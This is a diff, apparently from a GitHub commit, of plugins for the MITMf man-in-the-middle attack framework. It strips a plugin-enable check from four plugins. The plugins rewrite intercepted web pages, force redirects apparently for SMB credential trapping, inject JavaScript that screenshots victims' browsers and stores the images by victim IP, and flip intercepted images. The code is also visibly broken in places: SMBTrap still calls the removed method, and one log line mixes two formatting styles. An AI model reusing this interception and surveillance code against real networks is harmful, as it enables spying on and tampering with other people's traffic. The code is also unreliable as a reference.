self.bad_headers = ['if-none-match', 'if-modified-since']
|
self.bad_headers = ['if-none-match', 'if-modified-since']
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
'''Handles all response headers'''
|
'''Handles all response headers'''
|
||||||
if self.getStatus():
|
response.headers['Expires'] = "0"
|
||||||
response.headers['Expires'] = "0"
|
response.headers['Cache-Control'] = "no-cache"
|
||||||
response.headers['Cache-Control'] = "no-cache"
|
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
'''Handles outgoing request'''
|
'''Handles outgoing request'''
|
||||||
|
|
|
@ -33,8 +33,6 @@ from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class Replace(Plugin):
|
class Replace(Plugin):
|
||||||
|
@ -44,14 +42,6 @@ class Replace(Plugin):
|
||||||
version = "0.2"
|
version = "0.2"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
|
@ -60,26 +50,24 @@ class Replace(Plugin):
|
||||||
self.mime = "text/html"
|
self.mime = "text/html"
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
if self.getStatus():
|
ip, hn, mime = self._get_req_info(response)
|
||||||
ip, hn, mime = self._get_req_info(response)
|
|
||||||
|
if self._should_replace(ip, hn, mime):
|
||||||
if self._should_replace(ip, hn, mime):
|
|
||||||
|
for rulename, regexs in self.config['Replace'].iteritems():
|
||||||
# Did the user provide us with a regex file?
|
for regex1,regex2 in regexs.iteritems():
|
||||||
for rulename, regexs in self.config['Replace'].iteritems():
|
if re.search(regex1, data):
|
||||||
for regex1,regex2 in regexs.iteritems():
|
try:
|
||||||
if re.search(regex1, data):
|
data = re.sub(regex1, regex2, data)
|
||||||
try:
|
|
||||||
data = re.sub(regex1, regex2, data)
|
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
||||||
|
except Exception:
|
||||||
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
||||||
except Exception:
|
|
||||||
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
self.ctable[ip] = time.time()
|
||||||
|
self.dtable[ip+hn] = True
|
||||||
self.ctable[ip] = time.time()
|
|
||||||
self.dtable[ip+hn] = True
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
|
||||||
def _should_replace(self, ip, hn, mime):
|
def _should_replace(self, ip, hn, mime):
|
||||||
return mime.find(self.mime) != -1
|
return mime.find(self.mime) != -1
|
||||||
|
|
|
@ -10,8 +10,6 @@ import string
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class SMBTrap(Plugin):
|
class SMBTrap(Plugin):
|
||||||
|
@ -21,20 +19,11 @@ class SMBTrap(Plugin):
|
||||||
version = "1.0"
|
version = "1.0"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.ourip = SystemConfig.getIP(options.interface)
|
self.ourip = SystemConfig.getIP(options.interface)
|
||||||
|
|
||||||
def serverResponseStatus(self, request, version, code, message):
|
def serverResponseStatus(self, request, version, code, message):
|
||||||
if self.getStatus():
|
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
if self.getStatus():
|
if self.getStatus():
|
||||||
|
|
|
@ -33,8 +33,6 @@ from datetime import datetime
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class ScreenShotter(Inject, Plugin):
|
class ScreenShotter(Inject, Plugin):
|
||||||
|
@ -44,33 +42,24 @@ class ScreenShotter(Inject, Plugin):
|
||||||
ver = '0.1'
|
ver = '0.1'
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.interval = 10 or options.interval
|
self.interval = 10 or options.interval
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if self.getStatus():
|
if 'saveshot' in request.uri:
|
||||||
if 'saveshot' in request.uri:
|
request.printPostData = False
|
||||||
request.printPostData = False
|
client = request.client.getClientIP()
|
||||||
client = request.client.getClientIP()
|
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
try:
|
||||||
try:
|
with open('./logs/' + img_file, 'wb') as img:
|
||||||
with open('./logs/' + img_file, 'wb') as img:
|
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
img.close()
|
||||||
img.close()
|
|
||||||
|
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
except Exception as e:
|
||||||
except Exception as e:
|
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||||
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||||
|
|
|
@ -29,8 +29,6 @@ from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from PIL import Image, ImageFile
|
from PIL import Image, ImageFile
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class Upsidedownternet(Plugin):
|
class Upsidedownternet(Plugin):
|
||||||
|
@ -40,14 +38,6 @@ class Upsidedownternet(Plugin):
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
globals()['Image'] = Image
|
globals()['Image'] = Image
|
||||||
globals()['ImageFile'] = ImageFile
|
globals()['ImageFile'] = ImageFile
|
||||||
|
@ -62,26 +52,25 @@ class Upsidedownternet(Plugin):
|
||||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
if self.getStatus():
|
try:
|
||||||
|
isImage = getattr(request, 'isImage')
|
||||||
|
except AttributeError:
|
||||||
|
isImage = False
|
||||||
|
|
||||||
|
if isImage:
|
||||||
try:
|
try:
|
||||||
isImage = getattr(request, 'isImage')
|
#For some reason more images get parsed using the parser
|
||||||
except AttributeError:
|
#rather than a file...PIL still needs some work I guess
|
||||||
isImage = False
|
p = ImageFile.Parser()
|
||||||
|
p.feed(data)
|
||||||
if isImage:
|
im = p.close()
|
||||||
try:
|
im = im.transpose(Image.ROTATE_180)
|
||||||
#For some reason more images get parsed using the parser
|
output = StringIO()
|
||||||
#rather than a file...PIL still needs some work I guess
|
im.save(output, format=self.imageType)
|
||||||
p = ImageFile.Parser()
|
data = output.getvalue()
|
||||||
p.feed(data)
|
output.close()
|
||||||
im = p.close()
|
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
||||||
im = im.transpose(Image.ROTATE_180)
|
except Exception as e:
|
||||||
output = StringIO()
|
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
||||||
im.save(output, format=self.imageType)
|
|
||||||
data = output.getvalue()
|
return {'response': response, 'request': request, 'data': data}
|
||||||
output.close()
|
|
||||||
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
|
||||||
except Exception as e:
|
|
||||||
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
|
||||||
|
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue